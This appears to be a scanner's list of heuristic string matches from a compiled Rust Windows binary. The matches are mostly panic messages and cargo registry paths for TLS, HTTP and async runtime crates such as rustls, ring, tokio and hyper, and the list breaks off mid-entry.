"c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\rustls-0.23.37\src\msgs\deframer\handshake.rs" Heuristic match: "otherassertion failed: self.next_pre_encrypt_action() != preencryptaction::refusec:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\rustls-0.23.37\src\record_layer.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\rustls-0.23.37\src\msgs\deframer\buffers.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\rustls-0.23.37\src\tls12\mod.rs" Heuristic match: "fillerc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\rustls-0.23.37\src\client\ech.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\rustls-0.23.37\src\client\hs.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\rustls-0.23.37\src\client\client_conn.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\rustls-0.23.37\src\crypto\mod.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\rustls-0.23.37\src\crypto\cipher.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\rustls-0.23.37\src\msgs\handshake.rs" Heuristic match: "expected transcriptc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\rustls-0.23.37\src\compress.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\rustls-0.23.37\src\crypto\ring\tls13.rs" Pattern match: "https://docs.rs/rustls/latest/rustls/manual/_03_howto/index.html#unexpected-eofinternal" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\rustls-0.23.37\src\crypto\hmac.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\rustls-webpki-0.103.10\src\verify_cert.rs" Heuristic match: "internal error: entered unreachable codec:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\rustls-0.23.37\src\crypto\ring\sign.rs" Heuristic match: "invalidnamecontextexpectedpresentedc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\rustls-0.23.37\src\msgs\handshake.rs" Heuristic match: "called `result::unwrap()` on an `err` valueempty/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\alloc\src\slice.rs" Heuristic match: "internal error: entered unreachable codec:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\rustls-0.23.37\src\crypto\ring\tls12.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\rustls-0.23.37\src\msgs\codec.rs" Heuristic match: "client_early_traffic_secretclient_handshake_traffic_secretserver_handshake_traffic_secretclient_traffic_secret_0server_traffic_secret_0exporter_secretc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\rustls-0.23.37\src\tls13\key_schedul" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\rustls-0.23.37\src\crypto\tls13.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\rustls-0.23.37\src\msgs\message\outbound.rs" Heuristic match: "called `result::unwrap()` on an `err` value/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\alloc\src\collections\btree\map\entry.rs" Heuristic match: "assertion failed: idx < capacity/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\alloc\src\collections\btree\node.rs" Heuristic match: "packet number too longsample of invalid lengthc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\rustls-0.23.37\src\crypto\ring\quic.rs" Heuristic match: "chunk size must be non-zeroc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\rustls-0.23.37\src\crypto\tls12.rs" Heuristic match: "/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\alloc\src\collections\btree\map.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\rustls-0.23.37\src\client\handy.rs" Heuristic match: "bitlengthc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\rustls-0.23.37\src\msgs\deframer\buffers.rs" Heuristic match: "certificatederc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\rustls-0.23.37\src\msgs\deframer\buffers.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\rustls-0.23.37\src\webpki\verify.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\rustls-0.23.37\src\crypto\hash.rs" Heuristic match: "mid > len/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\alloc\src\str.rs" Heuristic match: "no kx groups configuredc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\rustls-0.23.37\src\client\tls13.rs" Heuristic match: "illegal `bufread::consume` usagec:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\rustls-0.23.37\src\vecbuf.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\rustls-webpki-0.103.10\src\subject_name\dns_name.rs" Heuristic match: "assertion failed: public_values_eq(path.cert.issuer, issuer_subject)c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\rustls-webpki-0.103.10\src\crl\mod.rs" Heuristic match: "unixtimeendofinputc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\rustls-webpki-0.103.10\src\subject_name\ip_address.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\untrusted-0.9.0\src\reader.rs" Heuristic match: "mid > len/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\core\src\slice\sort\stable\quicksort.rs" Heuristic match: "assertion failed: !self.only_contains_attribute_certsc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\rustls-webpki-0.103.10\src\crl\types.rs" Heuristic match: "internal error: entered unreachable codec:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\rustls-webpki-0.103.10\src\time.rs" Heuristic match: "called `result::unwrap()` on an `err` valueendofinputc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\rustls-webpki-0.103.10\src\subject_name\ip_address.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\rustls-webpki-0.103.10\src\der.rs" Heuristic match: "assertion failed: len > 0/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\alloc\src\collections\btree\node.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\ring-0.17.14\src\arithmetic\limbs\x86_64\mont.rs" Heuristic match: "internal error: entered unreachable codec:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\ring-0.17.14\src\aead\algorithm.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\ring-0.17.14\src\limb.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\ring-0.17.14\src\hmac.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\ring-0.17.14\src\rsa\padding.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\ring-0.17.14\src\aead\aes_gcm\vaesclmulavx2.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\ring-0.17.14\src\digest\dynstate.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\ring-0.17.14\src\ec\suite_b\ecdsa\digest_scalar.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\ring-0.17.14\src\ec\suite_b\private_key.rs" Heuristic match: "rng failedc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\ring-0.17.14\src\ec\suite_b\ecdsa\signing.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\ring-0.17.14\src\rsa\public_key.rs" Heuristic match: "internal error: entered unreachable codec:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\ring-0.17.14\src\aead\overlapping\base.rs" Heuristic match: "assertion failed: len >= min_lenc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\ring-0.17.14\src\aead\chacha\ffi.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\ring-0.17.14\src\hkdf.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\ring-0.17.14\src\ec\curve25519\scalar.rs" Heuristic match: "invalidencodingpublickeyismissingversionnotsupportedwrongalgorithmc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\ring-0.17.14\src\pkcs8.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\ring-0.17.14\src\arithmetic\bigint\modulus.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\ring-0.17.14\src\ec\keys.rs" Heuristic match: "internal error: entered unreachable codec:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\ring-0.17.14\src\aead\aes_gcm\aeshwclmulmovbe.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\ring-0.17.14\src\ec\suite_b\ops.rs" Heuristic match: "assertion failed: em.len() >= digest_len + 11c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\ring-0.17.14\src\rsa\padding\pkcs1.rs" Heuristic match: "endofinputc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\untrusted-0.9.0\src\reader.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\ring-0.17.14\src\signature.rs" Heuristic match: "called `result::unwrap()` on an `err` valuec:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\ring-0.17.14\src\ec\suite_b\private_key.rs" Heuristic match: "unspecifiedc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\ring-0.17.14\src\rsa\padding\pss.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\ring-0.17.14\src\aead\quic.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\ring-0.17.14\src\digest.rs" Heuristic match: "called `result::unwrap()` on an `err` valuec:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\ring-0.17.14\src\arithmetic\montgomery.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\ring-0.17.14\src\arithmetic\bigint.rs" Heuristic match: "pkcs1digestinfo_prefixc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\ring-0.17.14\src\rsa\padding\pss.rs" Heuristic match: "called `result::unwrap()` on an `err` valueinvalidencodingc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\ring-0.17.14\src\ec\curve25519\ed25519\signing.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\ring-0.17.14\src\ec\suite_b\ops\p384.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\ring-0.17.14\src\pkcs8.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\ring-0.17.14\src\arithmetic\ffi.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\ring-0.17.14\src\polyfill\slice\as_chunks_mut.rs" Heuristic match: "internal error: entered unreachable codec:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\ring-0.17.14\src\aead\overlapping\partial_block.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\ring-0.17.14\src\aead\aes_gcm.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\ring-0.17.14\src\io\positive.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\ring-0.17.14\src\io\writer.rs" Heuristic match: "assertion failed: min_bits >= min_bitsc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\ring-0.17.14\src\rsa\public_modulus.rs" Heuristic match: "lg.hk" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\rustls-pki-types-1.14.0\src\base64.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\rustls-pki-types-1.14.0\src\lib.rs" Heuristic match: "certificatepublic keyrsa private keyprivate keyec private keyx509 crlcertificate requestechconfigc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\rustls-pki-types-1.14.0\src\pem.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\rustls-pki-types-1.14.0\src\server_name.rs" Heuristic match: "error://at least two bytes should follow the `%` in a valid iri referencec:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\iri-string-0.7.12\src\parser\trusted.rs" Heuristic match: "internal error: entered unreachable code: this case should be handled by the callerc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\iri-string-0.7.12\src\parser\validate\path.rs" Heuristic match: "the segname range implies that the back buffer is filledc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\iri-string-0.7.12\src\normalize\path.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\iri-string-0.7.12\src\normalize\pct_case.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\iri-string-0.7.12\src\parser\char.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\iri-string-0.7.12\src\parser\str.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\iri-string-0.7.12\src\parser\trusted.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\iri-string-0.7.12\src\components.rs" Heuristic match: "/non-relative iri must have a schemec:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\iri-string-0.7.12\src\normalize.rs" Heuristic match: "/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\core\src\str\mod.rs" Heuristic match: "^/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\core\src\time.rs" Heuristic match: "assertion failed: ttl >= duration::from_secs(1)c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tower-0.5.3\src\retry\budget\tps_budget.rs" Heuristic match: "/slash is a valid pathc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-util-0.1.20\src\client\legacy\client.rs" Heuristic match: "internal error: entered unreachable codec:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\http-1.4.0\src\uri\scheme.rs" Heuristic match: "base64 is always valid headervaluec:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-util-0.1.20\src\client\proxy\matcher.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-util-0.1.20\src\client\legacy\pool.rs" Heuristic match: "tunnel error: failed to create underlying connectionio error establishing tunnelmissing destination hostproxy authorization requiredproxy response headers too longunexpected end of fileunsuccessfulassertion failed: (*tail).value.is_none()c:\users\svin228\." Heuristic match: "hyper_util::client::legacy::connect::http::httpinfo/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\core\src\time.rs" Heuristic match: "invaliduriready polled after completionc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\futures-util-0.3.32\src\future\ready.rs" Heuristic match: "[internal exception] blocking task ran twice.c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.50.0\src\runtime\blocking\task.rs" Heuristic match: "outputslicetoosmallwriter must be presentc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\base64-0.22.1\src\write\encoder.rs" Heuristic match: "called `result::unwrap()` on an `err` valuec:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\ipnet-2.12.0\src\parser.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tracing-core-0.1.36\src\dispatcher.rs" Heuristic match: "lazy instance has previously been poisonedc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\once_cell-1.21.4\src\lib.rs" Heuristic match: "attempted to register a `defaultcallsite` that already exists! this will cause an infinite loop when attempting to read from the callsite cache. this is likely a bug! you should only need to call `defaultcallsite::register` once per `defaultcallsite`.c:\us" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tracing-core-0.1.36\src\callsite.rs" Heuristic match: "1c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tracing-core-0.1.36\src\dispatcher.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\once_cell-1.21.4\src\imp_std.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\http-1.4.0\src\header\value.rs" Heuristic match: "poisonerrorassertion failed: slot.is_none()c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\futures-channel-0.3.32\src\oneshot.rs" Heuristic match: "hyper::ext::headercasemapc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\http-1.4.0\src\header\map.rs" Heuristic match: "just sent okc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-1.8.1\src\body\incoming.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-1.8.1\src\proto\h1\role.rs" Heuristic match: "chunk_size_max_bytes should fit any usizec:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-1.8.1\src\proto\h1\encode.rs" Heuristic match: "runtime dropped the dispatch taskuser code panickedc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.50.0\src\sync\oneshot.rs" Heuristic match: "original header value plus ascii is validc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-1.8.1\src\headers.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\want-0.3.1\src\lib.rs" Heuristic match: "invalid header nameinvalid header valueinvalid new lineinvalid response statusinvalid tokentoo many headersinvalid http versionc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\httparse-1.10.1\src\lib.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\atomic-waker-1.1.2\src\lib.rs" Heuristic match: "send failed because channel is fullsend failed because receiver is gonethere is no such thing as a release load/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\core\src\sync\atomic.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.50.0\src\time\sleep.rs" Heuristic match: "inner should already be initialized by `self.reset()`c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.50.0\src\runtime\time\entry.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.50.0\src\runtime\context.rs" Heuristic match: "reached max `enter` depthc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.50.0\src\runtime\context\current.rs" Heuristic match: "cannot start a runtime from within a runtime. this happens because a function (like `block_on`) attempted to block the current thread while the thread is being used to drive asynchronous tasks.expected multithread schedulerc:\users\svin228\.cargo\registry\" Heuristic match: "internal error: entered unreachable codec:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.50.0\src\runtime\blocking\schedule.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.50.0\src\runtime\park.rs" Heuristic match: "assertion failed: curr.is_join_interested()c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.50.0\src\runtime\task\state.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.50.0\src\loom\std\mod.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.50.0\src\task\coop\mod.rs" Heuristic match: "assertion failed: actual_state == empty || actual_state == notifiedc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.50.0\src\sync\notify.rs" Heuristic match: "assertion failed: self.tail.is_none()c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.50.0\src\util\linked_list.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.50.0\src\util\wake_list.rs" Heuristic match: "internal error: entered unreachable code/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\std\src\sys\thread_local\native\lazy.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.50.0\src\net\windows\named_pipe.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.50.0\src\runtime\io\registration.rs" Heuristic match: "called `result::unwrap()` on an `err` valuerng seed generator is internally corruptc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.50.0\src\util\rand\rt.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.50.0\src\runtime\task\list.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.50.0\src\runtime\time\mod.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.50.0\src\runtime\handle.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.50.0\src\runtime\metrics\worker.rs" Heuristic match: "oh no! we never placed the core back, this is a bug!c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.50.0\src\runtime\scheduler\current_thread\mod.rs" Heuristic match: "not a currentthread handlec:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.50.0\src\runtime\scheduler\mod.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.50.0\src\runtime\blocking\pool.rs" Heuristic match: "a tokio 1.x context was found, but it is being shutdown.c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.50.0\src\runtime\time\wheel\level.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.50.0\src\runtime\scheduler\multi_thread\park.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.50.0\src\runtime\scheduler\multi_thread\worker.rs" Heuristic match: "poisonerrorc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.50.0\src\runtime\context\current.rs" Heuristic match: "assertion failed: c.runtime.get().is_entered()c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.50.0\src\runtime\context\runtime.rs" Heuristic match: "assertion failed: snapshot.is_join_interested()c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.50.0\src\runtime\task\harness.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.50.0\src\runtime\blocking\shutdown.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.50.0\src\runtime\scheduler\defer.rs" Heuristic match: "filled must not become larger than initializedfilled overflowassertion failed: sharded_size.is_power_of_two()c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.50.0\src\util\sharded_list.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.50.0\src\runtime\io\driver.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.50.0\src\runtime\time\wheel\mod.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.50.0\src\runtime\time\wheel\level.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\socket2-0.6.3\src\sys\windows.rs" Heuristic match: "127.0.0.1:34254c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\mio-1.2.0\src\sys\windows\selector.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\mio-1.2.0\src\sys\windows\named_pipe.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\mio-1.2.0\src\sys\windows\mod.rs" Heuristic match: "socket != -1/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\std\src\os\windows\io\raw.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\mio-1.2.0\src\sys\windows\iocp.rs" Heuristic match: "handlepoisonerrorc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\mio-1.2.0\src\sys\windows\selector.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\parking_lot_core-0.9.12\src\parking_lot.rs" Heuristic match: "attempted to use a condition variable with more than one mutexc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\parking_lot-0.12.5\src\condvar.rs" Heuristic match: "allocerrlayoutc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\smallvec-1.15.1\src\lib.rs" Heuristic match: "parking_lot requires either nt keyed events (winxp+) or waitonaddress/wakebyaddress (win8+)c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\parking_lot_core-0.9.12\src\thread_parker\windows\mod.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\url-2.5.8\src\parser.rs" Heuristic match: "t have a host to seturls more than 4 gb are not supportedc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\url-2.5.8\src\lib.rs" Heuristic match: ":c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\url-2.5.8\src\host.rs" Heuristic match: "layoutsizealignassertion failed: code_point < self.header.high_start && self.header.high_start > small_limitc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\icu_collections-2.1.1\src\codepointtrie\cptrie.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\idna-1.1.0\src\uts46.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\icu_normalizer-2.1.1\src\lib.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\idna-1.1.0\src\punycode.rs" Heuristic match: "assertion failed: code_point < self.header.high_start && self.header.high_start > small_limitc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\icu_collections-2.1.1\src\codepointtrie\cptrie.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\percent-encoding-2.3.2\src\lib.rs" Heuristic match: "lc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\http-1.4.0\src\method.rs" Heuristic match: "invalidurihttp/0.9http/1.0http/1.1http/2.0http/3.0c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\http-1.4.0\src\version.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\http-1.4.0\src\uri\scheme.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\http-1.4.0\src\uri\mod.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\http-1.4.0\src\uri\path.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\http-1.4.0\src\uri\authority.rs" Heuristic match: "layouterroroverflowc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\bytes-1.11.1\src\bytes_mut.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\bytes-1.11.1\src\lib.rs" Heuristic match: 